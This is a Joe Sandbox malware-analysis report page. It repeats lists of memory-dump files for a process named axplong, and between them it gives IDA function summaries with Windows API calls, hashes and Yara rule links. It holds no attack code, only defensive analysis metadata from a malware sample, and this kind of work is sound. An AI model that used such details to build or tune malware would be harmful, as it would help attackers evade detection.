Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: 820276da3fb8b45c5ae7b40e3ac6c17d14a8098c0fab3cfc0c757416aa4af525
Instruction ID: 4da3f0d35ed5f9a9f834294994d1e93c2a1c2c93147bbcca488e33653f8b575a
Opcode Fuzzy Hash: 820276da3fb8b45c5ae7b40e3ac6c17d14a8098c0fab3cfc0c757416aa4af525
Instruction Fuzzy Hash: AE315B31B101048FEF08DBF8DD8976DB6FBEB86318F244219E4149BBD1DB3599818792

Function 0069A890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 6318b6322fe8eea22f2b3fc3749cc1c0c555f5e0f8e8ece90a4972d064b133c3
Instruction ID: f41fb060f4a515bb1587f2ccc1f2f5a45037e3474f3f45687003cd957959d571
Opcode Fuzzy Hash: 6318b6322fe8eea22f2b3fc3749cc1c0c555f5e0f8e8ece90a4972d064b133c3
Instruction Fuzzy Hash: B8E086316992409AF61033A8AD89F3930DBD79BB08F242426B61886681CE619542D6A3

Function 00697560 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,B5D2C3CE,?,00000000,006D8FB8,000000FF), ref: 0069759C
CreateThread.KERNEL32(00000000,00000000,00697400,006F8608,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0069768F
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00697699

Part of subcall function 006ACFF7: RtlWakeAllConditionVariable.NTDLL ref: 006AD0AB

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 734c164b599a44f0934f9a5733f59462bc6fdd9cbf2b6e03751ddb525762705f
Instruction ID: 74f609696562f0a985b365af3aa236433d93a4a29a39a02db4abaf96c5009eea
Opcode Fuzzy Hash: 734c164b599a44f0934f9a5733f59462bc6fdd9cbf2b6e03751ddb525762705f
Instruction Fuzzy Hash: 8D51DF70224248AFEF04EF28CC85BAD7BA7EB45704F104659F911CB7D1CB7A9980CB99

Function 006C6E01 Relevance: 4.6, APIs: 3, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 006C6E23
GetFileInformationByHandle.KERNEL32(?,?), ref: 006C6E7D
__dosmaperr.LIBCMT ref: 006C6F12

Part of subcall function 006C7177: __dosmaperr.LIBCMT ref: 006C71AC

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: d17e207e5de9eb5da6515c9bc6a5581dfb5dfa18950c900de5679856bd99f131
Instruction ID: a13e088338337fcae121797b3bd47583da55007d1c63294d3726a7fbd31f934d
Opcode Fuzzy Hash: d17e207e5de9eb5da6515c9bc6a5581dfb5dfa18950c900de5679856bd99f131
Instruction Fuzzy Hash: 67411B75900244AFDB24EFB5E845EBBBBFAEF49300B14452DF466D3610EA30A905CB65

Function 006C6C99 Relevance: 3.1, APIs: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff936bc1bc484553393ccc72a23ff76c53bf6ec94cb321641ba175553312dde
Instruction ID: 56759336ce2dc24c87184c9c104dd83735274eca3fc14b2d37003aaa683e6ab2
Opcode Fuzzy Hash: dff936bc1bc484553393ccc72a23ff76c53bf6ec94cb321641ba175553312dde
Instruction Fuzzy Hash: D821D671A056087AEB117B64DC42FBE376BDF41338F10431DF9252B2D1DB70AE0596A9

Function 006A6B70 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016AE0,00000000,00000000,00000000), ref: 006A6B80
Sleep.KERNEL32(00007530), ref: 006A6B95

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
